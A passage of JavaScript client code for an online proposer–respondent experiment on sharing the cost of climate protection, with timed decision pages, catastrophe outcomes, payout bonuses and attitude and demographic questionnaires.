block + '/' + page + '.html', function() { node.timer.setTimestamp(block + '/' + page); W.getElementById('done').onclick = function() { var questionnaire = node.game.questionnaire; if (extensionCallback) { extensionCallback(); } if (questionnaire.currentAnswerMade) { node.set('bsc_data',{ player: node.player.sid, question: block + '/' + page, answer: questionnaire.currentAnswer, timeElapsed: node.timer.getTimeSince(block + '/' + page), clicks: questionnaire.numberOfClicks }); executor.next(); } else { alert('Please select an option.'); } }; } ); }; } // Makes an array of page load callbacks function makeBlockArray(block, pages) { var i, result = []; for (i = 0; i < pages.length; ++i) { result.push(makePageLoad(block,pages[i])); } return result; } randomBlockExecutor = new RandomOrderExecutor(); // Callback for the Social Value Orientation block. // Loads all of the SVO questions in an random order. socialValueOrientation = function(randomBlockExecutor) { var randomPageExecutor = new RandomOrderExecutor(); randomPageExecutor.setCallbacks( makeBlockArray('socialValueOrientation', ['1', '2', '3', '4', '5', '6']) ); randomPageExecutor.setOnDone(function() { randomBlockExecutor.next(); }); // At the beginning of the block is an instructions page. W.loadFrame('/burdenRAHR/html/questionnaire/socialValueOrientation/' + 'instructions.html', function() { W.getElementById('done').onclick = function() { randomPageExecutor.execute(); } } ); }; // Callback for the New Ecological Paradigm block. // Loads all of the NEP questions in an random order. newEcologicalParadigm = function(randomBlockExecutor) { var randomPageExecutor = new RandomOrderExecutor(); randomPageExecutor.setCallbacks( makeBlockArray('newEcologicalParadigm', ['limit','modify', 'interfere', 'ingenuity', 'abusing', 'plenty', 'plants', 'balance', 'crisis', 'spaceship', 'rule', 'control', 'catastrophe', 'laws', 'upset']) ); randomPageExecutor.setOnDone(function() { randomBlockExecutor.next(); }); // At the beginning of the block is an instructions page. W.loadFrame('/burdenRAHR/html/questionnaire/newEcologicalParadigm/' + 'instructions.html', function() { W.getElementById('done').onclick = function() { randomPageExecutor.execute(); } } ); }; // Callback for the Risk block. risk = function(randomBlockExecutor) { var randomPageExecutor = new RandomOrderExecutor(); randomPageExecutor.setCallbacks( makeBlockArray('risk', ['doubleOrNothing','gambles', 'patience', 'riskTaking', 'trusting','charity']) ); randomPageExecutor.setOnDone(function () { randomBlockExecutor.next(); }); randomPageExecutor.execute(); }; // Callback for the demographics block. This block is NOT randomized! demographics = function() { var linearPageExecutor = { // Begin execution of the callbacks. execute: function() { this.index = 1; this.callbacks[0](this); }, // Advance to net callback or call done. next: function() { if (this.index < this.callbacks.length) { this.callbacks[this.index++](this); } else { this.done(); } }, // Final operation done: function() { // store stuff node.emit('DONE'); } }; linearPageExecutor.callbacks = makeBlockArray('demographics', [ 'gender', 'education', 'dateOfBirth', 'income', 'occupation', 'participation']); // Add politics page. (Because of the textfield it requires special // treatement) linearPageExecutor.callbacks.splice(3,0, makePageLoad('demographics','politics', function() { // If option 'other' is selected if (node.game.questionnaire.currentAnswer == 5) { // And there has been text entered in the text field. if (W.getElementById('textForOther').value !== "") { node.game.questionnaire.currentAnswer = W.getElementById('textForOther').value; node.game.questionnaire.currentAnswerMade = true; } } }) ); linearPageExecutor.execute(); }; // Execute the SVO, NEP and RISK block in random order, then execute // demographics. randomBlockExecutor.execute([socialValueOrientation, risk, newEcologicalParadigm], function() { demographics(); } ); return; // TODO: REMOVE ABOVE W.loadFrame('/burdenRAHR/html/instructions.html', function() { node.game.timeInstruction = Date.now(); var options = { milliseconds: 480000, // 240000 ms is equivalent to 6 minutes (reading time approximately 2 minutes times 2) timeup: function() { node.game.timeInstruction = Math.round(Math.abs(node.game.timeInstruction - Date.now())/1000); var timeInstr = { Player_ID: node.game.ownID, Current_Round: "Instructions", TimeInstruction_1: node.game.timeInstruction }; // node.set('bsc_instrTime',timeInstr); this.disabled = "disabled"; instructions2(); } }; node.game.timer.init(options); node.game.timer.updateDisplay(); node.game.timer.start(options); console.log('burdenSharingControl'); W.getElementById("cost").innerHTML = node.game.costGE; var next; next = W.getElementById("continue"); next.onclick = function() { node.game.timeInstruction = Math.round(Math.abs(node.game.timeInstruction - Date.now())/1000); var timeInstr = { Player_ID: node.game.ownID, Current_Round: "Instructions", TimeInstruction_1: node.game.timeInstruction }; // node.set('bsc_instrTime',timeInstr); node.game.timer.stop(); this.disabled = "disabled"; instructions2(); }; }); function instructions2(){ W.loadFrame('/burdenRAHR/html/instructions2.html', function() { node.game.timeInstruction2 = Date.now(); var options = { milliseconds: 480000, // 480000 ms is equivalent to 8 minutes (reading time approximately 4 minutes times 2) timeup: function() { node.game.timeInstruction2 = Math.round(Math.abs(node.game.timeInstruction2 - Date.now())/1000); var timeInstr = { playerID: {Player_ID: node.game.ownID}, add: {TimeInstruction_2: node.game.timeInstruction2} }; // node.set('bsc_instrTimeUpdate',timeInstr); node.game.timer.stop(); this.disabled = "disabled"; instructions3(); } }; node.game.timer.init(options); node.game.timer.updateDisplay(); node.game.timer.start(options); console.log('Instructions Page 2'); W.getElementById("cost").innerHTML = node.game.costGE; var next; next = W.getElementById("continue"); next.onclick = function() { node.game.timeInstruction2 = Math.round(Math.abs(node.game.timeInstruction2 - Date.now())/1000); var timeInstr = { playerID: {Player_ID: node.game.ownID}, add: {TimeInstruction_2: node.game.timeInstruction2} }; // node.set('bsc_instrTimeUpdate',timeInstr); node.game.timer.stop(); this.disabled = "disabled"; instructions3(); }; }); } function instructions3(){ W.loadFrame('/burdenRAHR/html/instructions3.html', function() { node.game.timeInstruction3 = Date.now(); var options = { milliseconds: 480000, // 480000 ms is equivalent to 8 minutes (reading time approximately 4 minutes times 2) timeup: function() { node.game.timeInstruction3 = Math.round(Math.abs(node.game.timeInstruction3 - Date.now())/1000); var timeInstr = { playerID: {Player_ID: node.game.ownID}, add: {TimeInstruction_3: node.game.timeInstruction3} }; // node.set('bsc_instrTimeUpdate',timeInstr); node.game.timer.stop(); this.disabled = "disabled"; EconGrowthAndRisk() // node.emit('DONE'); } }; node.game.timer.init(options); node.game.timer.updateDisplay(); node.game.timer.start(options); console.log('Instructions Page 2'); var next; next = W.getElementById("continue"); next.onclick = function() { node.game.timeInstruction3 = Math.round(Math.abs(node.game.timeInstruction3 - Date.now())/1000); var timeInstr = { playerID: {Player_ID: node.game.ownID}, add: {TimeInstruction_3: node.game.timeInstruction3} }; // node.set('bsc_instrTimeUpdate',timeInstr); node.game.timer.stop(); this.disabled = "disabled"; EconGrowthAndRisk() }; }); } /** * ## EconGrowthAndRisk * * the economic growth and corresponding climate risk is chosen randomly by the computer * */ function EconGrowthAndRisk(){ var initEndow = { playerID: {Player_ID: node.game.ownID}, addEndow: {Initial_Endowment: node.game.endowment_own, Climate_Risk: node.game.risk} }; // randomly assigned value of historical growth between 5 and 100 var endowment_assigned = Math.floor((Math.random() * 96) + 1) + 4 // assign the historical responsibility if(endowment_assigned >= 5 && endowment_assigned < 25){ node.game.risk += 0; } else if(endowment_assigned >= 25 && endowment_assigned <= 50){ node.game.risk += (Math.floor(Math.random() * 5)) * 2.5; } else if(endowment_assigned > 50 && endowment_assigned <= 75){ node.game.risk += ((Math.floor(Math.random() * 5)) * 2.5) + 12.5; } else if(endowment_assigned > 75 && endowment_assigned <= 100){ node.game.risk += 25; } initEndow.addEndow.Initial_Endowment = node.game.endowment_own + endowment_assigned; node.game.endowment_own += endowment_assigned; initEndow.addEndow.Climate_Risk = node.game.risk; node.set('initEndow',initEndow); node.emit('DONE'); } return true; }; function initialSituation() { // Set state in Header document.getElementById('state').innerHTML = 'Game Period: ' + node.player.stage.round + " - of - " + node.game.nbrRounds ; var IDs = { ownPlayerId: node.game.ownID, otherPlayerId: node.game.otherID }; node.set('get_InitEndow', IDs); node.on("in.say.DATA", function(msg){ if(msg.text == "Endow") { var initialEndow = msg.data.init_Endow; node.game.ClimateRisk = msg.data.cl_Risk + node.game.risk; node.game.riskOwn = node.game.risk - 7.5; node.game.riskOther = msg.data.cl_Risk - 7.5; if(node.game.role == 'PROPOSER'){ node.game.endowment_responder = initialEndow; node.game.endowment_proposer = node.game.endowment_own; W.loadFrame(node.game.url_initprop, function() { var initText1 = "Due to economic growth, you have received " + (node.game.endowment_own-25) + " ECU which will be added "; initText1 = initText1 + "to your initial endowment."; var initText2 = "This level of growth means that your economy "; initText2 = initText2 + "has increased the climate risk by " + (node.game.risk-7.5) + " percent."; if(node.player.stage.round == 1){ // Test Round var practice1 = W.getElementById('practice1'); practice1.style.display = ''; var text1 = W.getElementById('inform1'); W.write(initText1,text1); var text2 = W.getElementById('inform2'); W.write(initText2, text2); } else if(node.player.stage.round == 2){ var text1 = W.getElementById('inform1'); W.write(initText1,text1); var text2 = W.getElementById('inform2'); W.write(initText2, text2); } node.game.timeInitialSituation = Date.now(); // var options = { // milliseconds: 330000, // timeup: function(){ // node.game.timer.stop(); // node.game.timeInitialSituation = Math.round(Math.abs(node.game.timeInitialSituation - Date.now())/1000); // var timeInitialSituation = {timeInitialSituation: node.game.timeInitialSituation}; // // node.set('bsc_time',timeInitialSituation); // node.emit('DONE'); // }, // }; // node.game.timer.restart(options); var propEndow = W.getElementById('propEndow'); var respEndow = W.getElementById('respEndow'); var costGHGE = W.getElementById('costGHGE'); var clRiskOwn = W.getElementById('clRiskOwn'); var clRiskOther = W.getElementById('clRiskOther'); var clRisk = W.getElementById('clRisk'); W.write(node.game.endowment_proposer.toString(),propEndow); W.write(node.game.endowment_responder.toString(),respEndow); W.write(node.game.costGE.toString(),costGHGE); W.write(node.game.riskOwn.toString(),clRiskOwn); W.write(node.game.riskOther.toString(),clRiskOther); W.write(node.game.ClimateRisk.toString(),clRisk); var proceed = W.getElementById('continue'); proceed.onclick = function() { node.game.timer.stop(); node.game.timeInitialSituation = Math.round(Math.abs(node.game.timeInitialSituation - Date.now())/1000); // var timeInitialSituation = {timeInitialSituation: node.game.timeInitialSituation}; // node.set('bsc_time',timeInitialSituation); node.game.timer.setToZero(); node.emit('DONE'); }; }); } else if(node.game.role == 'RESPONDENT'){ node.game.endowment_proposer = initialEndow; node.game.endowment_responder = node.game.endowment_own; W.loadFrame(node.game.url_initresp, function() { var initText1 = "Due to economic growth, you have received " + (node.game.endowment_own-25) + " ECU which will be added "; initText1 = initText1 + "to your initial endowment."; var initText2 = "This level of growth means that your economy "; initText2 = initText2 + "has increased the climate risk by " + (node.game.risk-7.5) + " percent."; if(node.player.stage.round == 1){ // Test Round var practice1 = W.getElementById('practice1'); practice1.style.display = ''; var text1 = W.getElementById('inform1'); W.write(initText1,text1); var text2 = W.getElementById('inform2'); W.write(initText2, text2); } else if(node.player.stage.round == 2){ var text1 = W.getElementById('inform1'); W.write(initText1,text1); var text2 = W.getElementById('inform2'); W.write(initText2, text2); } node.game.timeInitialSituationResp = Date.now(); // var options = { // milliseconds: 330000, // timeup: function(){ // node.game.timer.stop(); // node.game.timeInitialSituationResp = Math.round(Math.abs(node.game.timeInitialSituationResp - Date.now())/1000); // // var timeInitialSituationResp = {timeInitialSituationResp: node.game.timeInitialSituationResp}; // // node.set('bsc_time',timeInitialSituationResp); // node.emit('DONE'); // }, // }; // node.game.timer.restart(options); var propEndow = W.getElementById('propEndow'); var respEndow = W.getElementById('respEndow'); var costGHGE = W.getElementById('costGHGE'); var clRiskOwn = W.getElementById('clRiskOwn'); var clRiskOther = W.getElementById('clRiskOther'); var clRisk = W.getElementById('clRisk'); W.write(node.game.endowment_proposer.toString(),propEndow); W.write(node.game.endowment_responder.toString(),respEndow); W.write(node.game.costGE.toString(),costGHGE); W.write(node.game.riskOwn.toString(),clRiskOwn); W.write(node.game.riskOther.toString(),clRiskOther); W.write(node.game.ClimateRisk.toString(),clRisk); var proceed = W.getElementById('continue'); proceed.onclick = function() { node.game.timer.stop(); node.game.timeInitialSituationResp = Math.round(Math.abs(node.game.timeInitialSituationResp - Date.now())/1000); // var timeInitialSituationResp = {timeInitialSituationResp: node.game.timeInitialSituationResp}; // node.set('bsc_time',timeInitialSituationResp); node.game.timer.setToZero(); node.emit('DONE'); }; }); } } }); }; function decision() { /** * ## checkID * * checks whether the correct qualtrix id has been entered * * if not a warning message is shown * * @param {string} msg The text to be shown in the warning message window * */ function checkID(msg){ bootbox.dialog({ message: msg, buttons: { danger: { label: "Return to Question", className: "btn-danger", callback: function() { } }, // success: { // label: "ID is correct", // className: "btn-success", // callback: function() { // var saveId = { // Player_ID: 666 // }; // node.emit('player_id',saveId); // <!-- node.set('player_id',saveId); --> // // location.href="http://localhost:8080/pairs/"; // } // }, } }); }; var that = this; /////////////////////////////////// PROPOSER /////////////////////////////////// if(node.game.role == 'PROPOSER'){ W.loadFrame(node.game.url_bidder, function() { if(node.player.stage.round == 1){ // Test Round var practice1 = W.getElementById('practice1'); practice1.style.display = ''; } else{} W.getElementById("offer").selectedIndex = -1; node.game.timeMakingOffer = Date.now(); var options = { milliseconds: 90000, // 120000 ms is equivalent to 2 minutes timeup: function(){ W.getElementById("fieldset").disabled = true; node.game.timer.stop(); var randnum = Math.floor(1+Math.random()*node.game.costGE); var offer = W.getElementById('offer'); node.game.proposal = offer.value; // W.write(randnum, offer); node.game.decisionOffer = 0; node.emit('BID_DONE', randnum, node.game.otherID) } }; node.game.timer.restart(options); var propEndow = W.getElementById('propEndow'); var respEndow = W.getElementById('respEndow'); var costGHGE = W.getElementById('costGHGE'); var clRiskOwn = W.getElementById('clRiskOwn'); var clRiskOther = W.getElementById('clRiskOther'); var clRisk = W.getElementById('clRisk'); W.write(node.game.endowment_proposer.toString(),propEndow); W.write(node.game.endowment_responder.toString(),respEndow); W.write(node.game.costGE.toString(),costGHGE); W.write(node.game.riskOwn.toString(),clRiskOwn); W.write(node.game.riskOther.toString(),clRiskOther); W.write(node.game.ClimateRisk.toString(),clRisk); var submitoffer = W.getElementById('submitOffer'); submitoffer.onclick = function() { var offer = W.getElementById('offer'); node.game.proposal = offer.value; if (!that.isValidBid(offer.value)) { var msg = 'Please choose a number between 0 and ' + node.game.costGE; checkID(msg); return; } node.game.timer.stop(); node.game.timer.setToZero(); W.getElementById("fieldset").disabled = true; node.game.decisionOffer = 1; node.emit('BID_DONE', offer.value, node.game.otherID) }; node.on("in.say.DATA", function(msg){ if (msg.text == "ACCEPT") { W.loadFrame('/burdenRAHR/html/resultProposer.html', function() { if(node.player.stage.round == 1){ // Test Round var practice3 = W.getElementById('practice3'); practice3.style.display = ''; } else{} node.game.timeResultProp = Date.now(); // Start the timer. var options = { milliseconds: 120000, // 120000 ms is equivalent to 2 minutes timeup: function(){ node.game.timer.stop(); this.disabled = "disabled"; node.emit('PROPOSER_DONE', node.game.results, node.game.ownID); // profitPeriods[node.game.currentRound - 1] = node.game.results.profit; } }; node.game.timer.restart(options); var result1 = W.getElementById('result1'); var result2 = W.getElementById('result2'); var result3 = W.getElementById('result3'); var proceed = W.getElementById('continue'); var propOffer = W.getElementById('propOffer'); node.game.offer = msg.data.offer.toString(); W.write(msg.data.offer.toString(),propOffer); var resp = node.game.costGE - msg.data.offer; var respToPay = W.getElementById('respToPay'); node.game.respPay = resp.toString(); W.write(resp.toString(),respToPay); W.write('The other player has accepted your offer.',result1); W.write('You have successfully reached an agreement against global warming.',result2); node.game.decision = 'Accept'; node.game.agreement = 'Yes'; node.game.catastrophe = 'No'; var respDecision = W.getElementById('respDecision'); W.write('Accept',respDecision); var agreement = W.getElementById('agreement'); W.write('Yes',agreement); var climateCatastrophe = W.getElementById('climateCatastrophe'); W.write('No',climateCatastrophe); var remain = node.game.endowment_proposer - msg.data.offer; if(remain < 0){remain = 0;} else{} node.game.remainProp = remain.toString(); var remainProp = W.getElementById('remainProp'); W.write(remain.toString(),remainProp); var remainResp = W.getElementById('remainResp'); remResp = node.game.endowment_responder - resp; if(remResp < 0){remResp = 0;} else{} W.write(remResp.toString(),remainResp); node.game.results = { Current_Round: node.player.stage.round, Player_ID: node.game.ownID, timeInitSituaProp: node.game.timeInitialSituation, timeOffer: node.game.timeMakingOffer, GroupNumber: node.game.nbrGroup, Role_Of_Player: node.game.role, Offer: msg.data.offer, Decision_Offer: node.game.decisionOffer, Decision_Accept1_Reject0: 1, Climate_Catastrophy: msg.data.cc, Profit: remain, P_QuestRound: '', Endow_Prop: node.game.endowment_proposer, RiskContrib_P: node.game.riskOwn, GroupRisk: (node.game.riskOwn + node.game.riskOther + 15) }; proceed.onclick = function(){ node.game.timer.stop(); this.disabled = "disabled"; node.emit('PROPOSER_DONE', node.game.results, node.game.ownID); // profitPeriods[node.game.currentRound - 1] = node.game.results.profit; }; }); } else if(msg.text == "REJECT") { W.loadFrame('html/resultProposer.html', function () { node.game.timeResultProp = Date.now(); // Start the timer. var options = { milliseconds: 120000, // 120000 ms is equivalent to 2 minutes timeup: function(){ node.game.timer.stop(); this.disabled = "disabled"; node.emit('PROPOSER_DONE', node.game.results, node.game.ownID); // profitPeriods[node.game.currentRound - 1] = node.game.results.profit; } }; node.game.timer.restart(options); var result1 = W.getElementById('result1'); var result2 = W.getElementById('result2'); var result3 = W.getElementById('result3'); var proceed = W.getElementById('continue'); var propOffer = W.getElementById('propOffer'); node.game.offer = msg.data.offer.toString(); W.write(msg.data.offer.toString(),propOffer); var resp = node.game.costGE - msg.data.offer; var respToPay = W.getElementById('respToPay'); node.game.respPay = resp.toString(); W.write(resp.toString(),respToPay); W.write('The other player has rejected your offer.', result1); W.write('You have not been able to reach an agreement against global warming.', result2); if(msg.data.cc == 0){ W.write('However, no climate catastrophe has happened.', result3); var climateCatastrophe = W.getElementById('climateCatastrophe'); node.game.catastrophe = 'No'; W.write('No',climateCatastrophe); var remainProp = W.getElementById('remainProp'); remaining = node.game.endowment_proposer; node.game.remainProp = remaining.toString(); W.write(remaining.toString(),remainProp); var remainResp = W.getElementById('remainResp'); remResp = node.game.endowment_responder; W.write(remResp.toString(),remainResp) } else{ W.write('A climate catastrophe has happened and destroyed a part of your endowment.', result3); var climateCatastrophe = W.getElementById('climateCatastrophe'); node.game.catastrophe = 'Yes'; W.write('Yes',climateCatastrophe); var remainProp = W.getElementById('remainProp'); remaining = node.game.endowment_proposer/2; node.game.remainProp = remaining.toString(); W.write(remaining,remainProp); var remainResp = W.getElementById('remainResp'); remResp = node.game.endowment_responder / 2; W.write(remResp.toString(),remainResp) } node.game.decision = 'Reject'; node.game.agreement = 'No'; var respDecision = W.getElementById('respDecision'); W.write('Reject',respDecision); var agreement = W.getElementById('agreement'); W.write('No',agreement); node.game.results = { Current_Round: node.player.stage.round, Player_ID: node.game.ownID, timeInitSituaProp: node.game.timeInitialSituation, timeOffer: node.game.timeMakingOffer, GroupNumber: node.game.nbrGroup, Role_Of_Player: node.game.role, Offer: msg.data.offer, Decision_Accept1_Reject0: 0, Decision_Offer: node.game.decisionOffer, Climate_Catastrophy: msg.data.cc, Profit: remaining, P_QuestRound: '', Endow_Prop: node.game.endowment_proposer, RiskContrib_P: node.game.riskOwn, GroupRisk: (node.game.riskOwn + node.game.riskOther + 15) }; proceed.onclick = function(){ node.game.timer.stop(); this.disabled = "disabled"; node.emit('PROPOSER_DONE', node.game.results, node.game.ownID); // profitPeriods[node.game.currentRound - 1] = node.game.results.profit; }; }); } }); }); } /////////////////////////////////// RESPONDENT /////////////////////////////////// else if(node.game.role == 'RESPONDENT'){ W.loadFrame(node.game.url_resp, function() { if(node.player.stage.round == 1){ // Test Round var practice2 = W.getElementById('practice2'); practice2.style.display = ''; } else{} var span_dot = W.getElementById('span_dot'); // Refreshing the dots... setInterval(function() { if (span_dot.innerHTML !== '......') { span_dot.innerHTML = span_dot.innerHTML + '.'; } else { span_dot.innerHTML = '.'; } }, 1000); var propEndow = W.getElementById('propEndow'); var respEndow = W.getElementById('respEndow'); var costGHGE = W.getElementById('costGHGE'); var clRiskOwn = W.getElementById('clRiskOwn'); var clRiskOther = W.getElementById('clRiskOther'); var clRisk = W.getElementById('clRisk'); W.write(node.game.endowment_proposer.toString(),propEndow); W.write(node.game.endowment_responder.toString(),respEndow); W.write(node.game.costGE.toString(),costGHGE); W.write(node.game.riskOwn.toString(),clRiskOwn); W.write(node.game.riskOther.toString(),clRiskOther); W.write(node.game.ClimateRisk.toString(),clRisk); node.on("in.say.DATA", function(msg){ node.game.timeResponse = Date.now(); if (msg.text == "OFFER") { var options = { milliseconds: 60000, // 120000 ms is equivalent to 2 minutes timeup: function() { node.game.timer.stop(); that.randomAccept(msg.data, node.game.otherID); } }; node.game.timer.init(options); node.game.timer.updateDisplay(); node.game.timer.start(options); var dots = W.getElementById('dots'); dots.style.display = 'none'; var text = W.getElementById('text'); text.style.display = ''; var offered = W.getElementById('offered'); offered.style.display = ''; var proposer = W.getElementById('proposer'); var respondent = W.getElementById('respondent'); var respPay = node.game.costGE - msg.data; W.write(msg.data.toString(), proposer); W.write(respPay.toString(), respondent); var accept = W.getElementById('accept'); var reject = W.getElementById('reject'); accept.onclick = function() { node.game.response = 'accept'; node.game.timer.stop(); node.game.decisionResponse = 1; node.emit('RESPONSE_DONE', 'ACCEPT', msg.data, node.game.otherID); }; reject.onclick = function() { node.game.response = 'reject'; node.game.timer.stop(); node.game.decisionResponse = 1; node.emit('RESPONSE_DONE', 'REJECT', msg.data, node.game.otherID); }; } }); }); } return true; }; ////////////////////////////QUESTIONAIRE //////////////////////////// function questionnaire() { function round(value, exp) { if (typeof exp === 'undefined' || +exp === 0) return Math.round(value); value = +value; exp = +exp; if (isNaN(value) || !(typeof exp === 'number' && exp % 1 === 0)) return NaN; // Shift value = value.toString().split('e'); value = Math.round(+(value[0] + 'e' + (value[1] ? (+value[1] + exp) : exp))); // Shift back value = value.toString().split('e'); return +(value[0] + 'e' + (value[1] ? (+value[1] - exp) : -exp)); } // shows last page if dk.checkout has been called document.getElementById('state').innerHTML = "End of Game - Questionnaire"; node.set('get_Profit',node.game.ownID); node.on.data("win", function(msg) { // W.clearFrame(); function showWin() { W.loadFrame('/burdenRAHR/html/ended.html', function(){ W.writeln("Exit code: " + msg.data); node.game.timer.stop(); node.game.timer.setToZero(); }); } setTimeout(function(){showWin();}, 500); }); node.on("in.say.DATA", function(msg){ // if(msg.text == "win"){} console.log(msg.text); if(msg.text == "PROFIT") { console.log("Payout round: " + msg.data.Payout_Round); console.log("Profit: " + msg.data.Profit); var bonus; if (msg.data.Payout_Round != "none"){ node.game.bonus = round((msg.data.Profit/50),2); console.log("Bonus: " + node.game.bonus); W.loadFrame('/burdenRAHR/html/questionnaire1.html', function(){ var payoutText = W.getElementById("payout") W.write("You will be paid out the amount you earned in round " + msg.data.Payout_Round, payoutText); var round = W.getElementById("payoutRound"); W.write(msg.data.Payout_Round , round); var amountUCE = W.getElementById("amountECU"); W.write(msg.data.Profit + " ECU" , amountUCE); var amountUSD = W.getElementById("amountUSD"); var profitUSD = node.game.bonus+1.0; console.log("Profit" + profitUSD); W.write(profitUSD + " $" , amountUSD); node.game.timeResult = Date.now(); var options = { milliseconds: 60000, // 30000 ms is equivalent to 30 seconds timeup: function() { node.game.timeResult = Math.round(Math.abs(node.game.timeResult - Date.now())/1000); var timeResultProp = { Player_ID : node.game.ownID, timeResult: node.game.timeResult }; // node.set('bsc_questionnaireTime',timeResultProp); questionnaire(1); } }; node.game.timer.init(options); node.game.timer.updateDisplay(); node.game.timer.start(options); var quest2 = W.getElementById('continue'); quest2.onclick = function (){ node.game.timeResult = Math.round(Math.abs(node.game.timeResult - Date.now())/1000); var timeResultProp = { Player_ID : node.game.ownID, timeResult: node.game.timeResult }; // node.set('bsc_questionnaireTime',timeResultProp); node.game.timer.stop(); questionnaire(0); }; }); } else{ node.game.bonus = 0.0; W.loadFrame('/burdenRAHR/html/questionnaire12.html', function(){ var payoutText = W.getElementById("payout") W.write("Unfortunately you did not complete any of the 3 rounds (excluding the test round) to be played. For your participation in the experiment you will be paid out a fixed amount of 1.00 $.", payoutText); node.game.timeResult = Date.now(); var options = { milliseconds: 60000, // 30000 ms is equivalent to 30 seconds timeup: function() { node.game.timeResult = Math.round(Math.abs(node.game.timeResult - Date.now())/1000); var timeResultProp = { Player_ID : node.game.ownID, timeResult: node.game.timeResult }; // node.set('bsc_questionnaireTime',timeResultProp); questionnaire(1); } }; node.game.timer.init(options); node.game.timer.updateDisplay(); node.game.timer.start(options); var quest2 = W.getElementById('continue'); quest2.onclick = function (){ node.game.timeResult = Math.round(Math.abs(node.game.timeResult - Date.now())/1000); var timeResultProp = { Player_ID : node.game.ownID, timeResult: node.game.timeResult }; // node.set('bsc_questionnaireTime',timeResultProp); node.game.timer.stop(); questionnaire(0); }; }); } console.log('Postgame including Questionaire'); function checkID(msg){ bootbox.dialog({ message: msg, buttons: { danger: { label: "Return to Question", className: "btn-danger", callback: function() { } }, // success: { // label: "ID is correct", // className: "btn-success", // callback: function() { // var saveId = { // Player_ID: 666 // }; // node.emit('player_id',saveId); // <!-- node.set('player_id',saveId); --> // // location.href="http://localhost:8080/pairs/"; // } // }, } }); }; // Qualtrix Questionaire iframe function questionnaire(timeout){ var url = '/burdenRAHR/html/questionnaire.html'; console.log("Bonus: " + node.game.bonus); W.loadFrame(url, function(){ node.game.timeQuest1 = Date.now(); var options = { milliseconds: 1800000, // 1200000 ms is equivalent to 20 minutes timeup: function() { node.game.timeQuest1 = Math.round(Math.abs(node.game.timeQuest1 - Date.now())/1000); // node.game.comment6 = W.getElementById('comment7').value; var timeResultProp = { playerID : {Player_ID: node.game.ownID}, add: {timeQuest1: node.game.timeQuest1}//, Question6: node.game.comment6} }; // node.set('bsc_questTime',timeResultProp); node.say("QUEST_DONE", "SERVER", node.game.bonus); // node.emit('DONE'); }, }; node.game.timer.init(options); node.game.timer.updateDisplay(); node.game.timer.start(options); var quest = W.getElementById('continue'); quest.onclick = function() { var qualtrixID = W.getElementById("qualtrix").value; if(qualtrixID.substring(0, 1) == "R" && qualtrixID.substring(1, 2) == "_"){ var surveyID = { playerID : {Player_ID: node.game.ownID}, add: {Survey_ID: qualtrixID} }; node.set('bsc_surveyID', surveyID); node.game.timeQuest1 = Math.round(Math.abs(node.game.timeQuest1 - Date.now())/1000); node.game.timer.stop(); var timeResultProp = { playerID : {Player_ID: node.game.ownID}, add: {timeQuest1: node.game.timeQuest1} //, Question6: node.game.comment6} }; // node.set('bsc_questTime',timeResultProp); node.say("QUEST_DONE", "SERVER", node.game.bonus); //node.say("questionnaire_done", "SERVER"); // node.emit('DONE'); } else{ var msg = 'Wrong ID! Please copy the character string starting with "R_" from the questionnaire box and enter it in the free textbox below.'; checkID(msg); } }; }); return; }; // Included Questionnaire from the old version !!! // Not working any more! Was replaced by qualtrix survey in an iframe. // // Questionaire Page 2 - Data Processing // function questionnaire2(timeout){ // var url = '/burdenRAHR/html/questionnaire2.html'; // W.loadFrame(url, function(){ // node.game.timeQuest1 = Date.now(); // var options = { // milliseconds: 30000, // 30000 ms is equivalent to 30 seconds // timeup: function() { // if(W.getElementById("q21").checked ){ // node.game.VALUE = W.getElementById("q21").value; // } // else { // node.game.VALUE = 'Time out - No answer'; // } // node.game.timeQuest1 = Math.round(Math.abs(node.game.timeQuest1 - Date.now())/1000); // var timeResultProp = { // playerID : {Player_ID: node.game.ownID,}, // add: {timeQuest1: node.game.timeQuest1, Question1: node.game.VALUE,} // }; // node.set('bsc_questTime',timeResultProp); // questionnaire3(1); // } // }; // node.game.timer.init(options); // node.game.timer.updateDisplay(); // node.game.timer.start(options); // // var quest3 = W.getElementById('continue'); // quest3.onclick = function() { // node.game.timeQuest1 = Math.round(Math.abs(node.game.timeQuest1 - Date.now())/1000); // var doneOtherExp = -1; // if(W.getElementById("q21").checked ){ // doneOtherExp = 1; // node.game.VALUE = W.getElementById("q21").value; // } // else if(W.getElementById("q22").checked ){ // doneOtherExp = 0; // node.game.VALUE = W.getElementById("q22").value; // } // else{ // var msg = 'You have not yet answered the question. Please take a decision and continue.'; // checkID(msg) // } // if(doneOtherExp >= 0){ // node.game.timer.stop(); // var timeResultProp = { // playerID : {Player_ID: node.game.ownID}, // add: {timeQuest1: node.game.timeQuest1, Question1: node.game.VALUE}, // }; // node.set('bsc_questTime',timeResultProp); // questionnaire3(0); // } // }; // }); // return; // }; // // // Questionaire Page 3 - Data Processing // function questionnaire3(timeout){ // var url = '/burdenRAHR/html/questionnaire3.html'; // W.loadFrame(url, function(){ // W.getElementById("offer").selectedIndex = -1; // node.game.timeQuest2 = Date.now(); // var options = { // milliseconds: 360000, // 1200000 ms is equivalent to 20 minutes // timeup: function() { // node.game.node.game.timeQuest2 = Math.round(Math.abs(node.game.timeQuest2 - Date.now())/1000); // var fairestOffer1 = W.getElementById('offer').value; // var fairestOffer = parseInt(fairestOffer1); // node.game.question21 = W.getElementById('q31').value; // node.game.question22 = W.getElementById('q32').value; // node.game.question23 = W.getElementById('q33').value; // if(!isNaN(fairestOffer) && isFinite(fairestOffer) && fairestOffer >= 0 && fairestOffer <= 10 && fairestOffer1 % 1 == 0){ // node.game.fairestOfferGood = fairestOffer1; // } // else { // fairestOfferGood = 'Time out - No answer'; // } // var timeResultProp = { // playerID : {Player_ID: node.game.ownID}, // add: {timeQuest2: node.game.timeQuest2,Question2: node.game.fairestOfferGood, // Question21: node.game.question21, Question22: node.game.question22, Question23: node.game.question23}, // }; // node.set('bsc_questTime',timeResultProp); // questionnaire4(1); // }, // }; // node.game.timer.init(options); // node.game.timer.updateDisplay(); // node.game.timer.start(options); // // var quest4 = W.getElementById('continue'); // quest4.onclick = function() { // node.game.timeQuest2 = Math.round(Math.abs(node.game.timeQuest2 - Date.now())/1000); // // var fairestOffer1 = W.getElementById('offer').value; // var fairestOffer = parseInt(fairestOffer1); // node.game.question21 = W.getElementById('q31').value; // node.game.question22 = W.getElementById('q32').value; // node.game.question23 = W.getElementById('q33').value; // if(!isNaN(fairestOffer) && isFinite(fairestOffer) && fairestOffer >= 0 && fairestOffer <= 10 && fairestOffer1 % 1 == 0){ // node.game.fairestOfferGood = fairestOffer1; // node.game.timer.stop(); // var timeResultProp = { // playerID : 